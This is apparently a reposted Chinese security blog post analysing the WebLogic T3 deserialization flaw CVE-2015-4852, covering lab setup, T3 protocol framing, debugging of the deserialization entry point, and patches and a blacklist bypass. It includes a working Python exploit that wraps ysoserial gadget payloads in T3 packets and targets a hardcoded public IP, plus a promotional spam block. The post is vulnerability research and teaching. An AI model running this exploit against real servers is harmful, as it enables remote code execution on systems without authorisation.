0x01 前言
看到很多師傅的面經里面都有提到 Weblogic 這一個漏洞,最近正好有一些閑暇時間,可以看一看,
因為環境上總是有一些小問題,所以會在本地和云服務器切換著除錯,
0x02 環境搭建
太坑了,我的建議是用本地搭建的方法,因為用 docker 搭建,會產生依賴包缺失的問題,本地搭建指南 https://www.penson.top/article/av40
這里環境安裝用的是 奇安信 A-team 大哥提供的腳本,不得不說實在是太方便了!省去了很多環境搭建中不必要的麻煩
鏈接:https://github.com/QAX-A-Team/WeblogicEnvironment
下載對應版本的 JDK 和 Weblogic 然后分別放在 jdks 和 weblogics 中
JDK安裝包下載地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html
Weblogic安裝包下載地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html
我這里直接用的 kali 搭建,需要先把 jdk 和 weblogic 放到檔案夾里面,如圖


首先要先改寫一下 Dockerfile,原作者寫的 Dockerfile 有一點小問題
# 基礎鏡像 FROM centos:centos7 # 引數 ARG JDK_PKG ARG WEBLOGIC_JAR # 解決libnsl包丟失的問題 # RUN yum -y install libnsl ? # 創建用戶 RUN groupadd -g 1000 oinstall && useradd -u 1100 -g oinstall oracle # 創建需要的檔案夾和環境變數 RUN mkdir -p /install && mkdir -p /scripts ENV JDK_PKG=$JDK_PKG ENV WEBLOGIC_JAR=$WEBLOGIC_JAR ? # 復制腳本 COPY scripts/jdk_install.sh /scripts/jdk_install.sh COPY scripts/jdk_bin_install.sh /scripts/jdk_bin_install.sh ? COPY scripts/weblogic_install11g.sh /scripts/weblogic_install11g.sh COPY scripts/weblogic_install12c.sh /scripts/weblogic_install12c.sh COPY scripts/create_domain11g.sh /scripts/create_domain11g.sh COPY scripts/create_domain12c.sh /scripts/create_domain12c.sh COPY scripts/open_debug_mode.sh /scripts/open_debug_mode.sh COPY jdks/$JDK_PKG . COPY weblogics/$WEBLOGIC_JAR . ? # 判斷jdk是包(bin/tar.gz)weblogic包(11g/12c)載入對應腳本 RUN if [ $JDK_PKG == *.bin ] ; then echo ****載入JDK bin安裝腳本**** && cp /scripts/jdk_bin_install.sh /scripts/jdk_install.sh ; else echo ****載入JDK tar.gz安裝腳本**** ; fi RUN if [ $WEBLOGIC_JAR == *1036* ] ; then echo ****載入11g安裝腳本**** && cp /scripts/weblogic_install11g.sh /scripts/weblogic_install.sh && cp /scripts/create_domain11g.sh /scripts/create_domain.sh ; else echo ****載入12c安裝腳本**** && cp /scripts/weblogic_install12c.sh /scripts/weblogic_install.sh && cp /scripts/create_domain12c.sh /scripts/create_domain.sh ; fi ? # 腳本設定權限及運行 RUN chmod +x /scripts/jdk_install.sh RUN chmod +x /scripts/weblogic_install.sh RUN chmod +x /scripts/create_domain.sh RUN chmod +x /scripts/open_debug_mode.sh # 安裝JDK RUN /scripts/jdk_install.sh # 安裝weblogic RUN /scripts/weblogic_install.sh # 創建Weblogic Domain RUN /scripts/create_domain.sh # 打開Debug模式 RUN /scripts/open_debug_mode.sh # 啟動 Weblogic Server # CMD ["tail","-f","/dev/null"] CMD ["/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh"] EXPOSE 7001
接著起環境
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
?
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
再把 docker 當中的一些依賴檔案夾拷出來,但是這一步經過我測驗,感覺 docker 當中的 lib 存在一定問題,所以后續把 weblogic 的庫拿進來就可以了,對應的代碼我會放在 GitHub 上,避免師傅們踩坑,
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
0x03 基礎知識
關于 Weblogic
首先說一說 Weblogic 吧,Weblogic 就和 Tomcat 差不多,從功能上來說就是兩個 Web 服務端,也是啟動器,
和 Tomcat 不同的地方在于,Weblogic 可以自己部署很多東西,要知道,在 Tomcat 當中,這些都是需要自己寫代碼的,
T3 協議
T3 協議其實是 Weblogic 內獨有的一個協議,在 Weblogic 中對 RMI 傳輸就是使用的 T3 協議,在 RMI 傳輸當中,被傳輸的是一串序列化的資料,在這串資料被接收后,執行反序列化的操作,
在 T3 的這個協議里面包含請求包頭和請求的主體這兩部分內容,
我們可以拿 CVE-2015-4852 的 EXP 來講解
EXP 如下
import socket import sys import struct import re import subprocess import binascii ? def get_payload1(gadget, command): JAR_FILE = '.\ysoserial.jar' popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE) return popen.stdout.read() ? def get_payload2(path): with open(path, "rb") as f: return f.read() ? def exp(host, port, payload): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) ? handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode() sock.sendall(handshake) data = sock.recv(1024) pattern = re.compile(r"HELO:(.*).false") version = re.findall(pattern, data.decode()) if len(version) == 0: print("Not Weblogic") return ? print("Weblogic {}".format(version[0])) data_len = binascii.a2b_hex(b"00000000") #資料包長度,先占位,后面會根據實際情況重新 t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3協議頭 flag = binascii.a2b_hex(b"fe010000") #反序列化資料標志 payload = data_len + t3header + flag + payload payload = struct.pack('>I', len(payload)) + payload[4:] #重新計算資料包長度 sock.send(payload) ? if __name__ == "__main__": host = "81.68.120.14" port = 7001 gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21 command = "Calc" ? payload = get_payload1(gadget, command) exp(host, port, payload)
這里有一個小坑,我直接運行 py 程式是不行的,會回顯 Not Weblogic,因為 python socket 如果是頻繁發包,會被服務端所拒絕,所以需要以 debug 模式運行,當然如果增添 sleep 應該也是可以實作的,
Weblogic 請求包頭
我們需要通過 Wireshark 對這一個流量包執行抓包操作,后續抓到包的請求頭如圖

這一個就是它請求包的頭
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
在發送該請求包頭后,服務端 Weblogic 會有一個回應,內容如下
HELO:10.3.6.0.false
AS:2048
HL:19
HELO 后面的內容則是被攻擊方的 Weblogic 版本號,也就是說,在發送正確的請求包頭后,服務端會進行一個回傳 Weblogic 的版本號,
Weblogic 請求主體
請求主體,也就是發送的資料,這些資料分為七部分內容,此處借用 z_zz_zzz師傅的修復weblogic的JAVA反序列化漏洞的多種方法文章中的一張圖

第一個非 Java 序列化資料,也就是我們的請求頭:t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
后面第 n 部分的資料,其實是不限制的,也就是說,我可以只有一部分的 Java 序列化資料,也可以有七部分的 Java 序列化資料,這并不重要,我們可以看觀察一下 Wireshark 抓的包

在 ac ed 00 05 之后的內容便是序列化的資料,所以如果我們要進行攻擊,應該是對于這一串序列化的資料進行惡意構造,讓服務端在反序列化的時候發起攻擊,
而此處,如果有多個 Java 序列化的資料,可以對任一一個資料進行攻擊即可,

0x04 漏洞分析與除錯
尋找尾部漏洞點
畢竟是反序列化的漏洞,思考了一下從兩個點入手,
1、是否存在 Jndi 注入2、是否有能夠命令執行的利用點
Jndi 注入的鏈尾探索
懷著這樣的思路,先全域搜索 Jndi 關鍵詞,感覺我這樣的做法應該很不精準,但是暫時找不到其他好的方法,應該是要借助一些插件或者工具什么的了,

這里有一個 JndiServiceImpl 類,看著不錯,點進去看看,它的 invoke() 方法同樣吸引人,點過去之后發現疑似存在 jndi 注入

不過這里雖然引數 ———— this.implJndiName 是可控的,但是無法進行攻擊,因為只能對 java:comp/env/ 進行探測,無法對 rmi, jndi, ldap 三者進行有效的呼叫,初步告吹了,
重新換一個類,這里我找到的是 JndiAttrs 類,在它的建構式中存在呼叫 ldap 的現象,在第 40 行

從第六個字符開始截取,存在一些繞過手法,這個并不要緊,而 providerURL 最后會被 put 進 env 當中,env 是一個 Properties 類

繼續往下分析,env 作為 InitialDirContext 類的建構式的傳參,

一路跟進,是到了 InitialContext 的建構式,跟進 init() 方法

跟進 getDefaultInitCtx() 方法,再跟進 NamingManager.getInitialContext(myProps),發現只是 loadClass 了一個物件,寄,白給,


諸如此類鏈尾的嘗試還有很多,師傅們可以自行嘗試,我這只是在拋磚引玉,由于篇幅限制,后續內容我們還是集中于 Weblogic CVE-2015-4852 的漏洞分析,
漏洞分析
通過命令 ls -r ./* | grep -i commons,抑或是通過 maven dependency analyze,都可以分析得到 weblogic 10.3.6 的包里面包含有 Commons Collections 3.2.0 的包,

所以我們現在已經有了鏈尾,需要尋找一個合適的入口類,這里就直接借用其他師傅們的研究成果了,反序列化的入口類是在 InboundMsgAbbrev#readObject 處,下個斷點開始除錯,
Weblogic T3 對于 RMI 傳遞過來的資料在處理上還是比較繞的,不過有了前面 z_zz_zzz 師傅文章中的那張圖,在理解上能夠變得簡單得多,
開始除錯

先跟進 ServerChannelInputStream 的建構式,ServerChannelInputStream 這個類的作用是處理服務端收到的請求頭資訊

繼續跟進 getServerChannel() 方法

我們可以關注一下目前的 this.connection 是什么
connection 是 weblogic.rjvm.t3.MuxableSocketT3$T3MsgAbbrevJVMConnection@49be5302 這個類,在 this.connection 中主要存盤了一些 RMI 連接的資料,包括埠地址等

跟進 getChannel() 方法,開始處理 T3 協議


T3 頭處理結束,重新回到 InboundMsgAbbrev#readObject 處,跟進 readObject() 方法
一路跟進至 InboundMsgAbbrev#resolveClass() 中,這里的呼叫堆疊如下
resolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm) readNonProxyDesc:1610, ObjectInputStream (java.io) readClassDesc:1515, ObjectInputStream (java.io) readOrdinaryObject:1769, ObjectInputStream (java.io) readObject0:1348, ObjectInputStream (java.io) readObject:370, ObjectInputStream (java.io) readObject:66, InboundMsgAbbrev (weblogic.rjvm) read:38, InboundMsgAbbrev (weblogic.rjvm)
resolveClass() 方法是用來處理類的,這些類在經過反序列化之后會走到 resolveClass() 方法這里,此時的 var1,正是我們的 AnnotationInvocationHandler 類

這時候的 AnnotationInvocationHandler 類并不會被直接拿去反序列化,因為 Weblogic 服務端需要先加載所有反序列化的內容,在將所有資料反序列化決議完畢之后(也可以說只是做了 Class.forName() 的操作之后),才會開始進行真正的反序列化

后續就是熟悉的 CC1 鏈環節,這里不再展開

PoC 理解
PoC 本質就是把 ysoserial 生成的 payload 變成 T3 協議里的資料格式,我們需要寫入的有幾段東西,
1、Header,這代表了資料包長度2、T3 Header3、反序列化標志,也就是 fe 01 00 00
所以這三段話是這么來的
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")

0x05 漏洞修復
在 resolveClass 處打補丁
在前面分析的程序中,我們能夠看出來,加載類其實是通過呼叫 resolveClass() 方法,再通過反射獲取到任意類的,所以官方選擇了基于 resolveClass() 去做黑名單校驗,
如果在 resolveClass() 處加入一個過濾,在 readNonProxyDesc 呼叫完 resolveClass 方法后,后面的反序列化操作無法完成,
通過 Web 代理與 nginx 等負載均衡防御
Web 代理的方式只能轉發 HTTP 的請求,而不會轉發 T3 協議的請求,這就能防御住 T3 漏洞的攻擊,當然這對于業務上有很大的影響,同理負載均衡也是,不過負載均衡需要自己手動設定,
黑名單 bypass
Oracle 官方對于 CVE-2015-4852 的修復是通過黑名單限制的,

黑名單中的類不會被反序列化
繞過思路如下

其實就是由 ServerChannelInputStream 換到了自身的 ReadExternal#InputStream,這一個 bypass 也被收錄為 CVE-2016-0638;后續會對這一個漏洞進行分析,
0x06 小結
從原理角度上來說還是比較簡單的,不過理解 T3 的傳輸,并且構造惡意 PoC 的程序是非常值得學習的,CVE-2015-4852 為一些類似的攻擊提供了思路,
更多靶場實驗練習、網安學習資料,請點擊這里>>
合天智匯:合天網路靶場、網安實戰虛擬環境
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/539512.html
標籤:其他
上一篇:內網安全 - 簡單域環境搭建
下一篇:源代碼安全保障指南
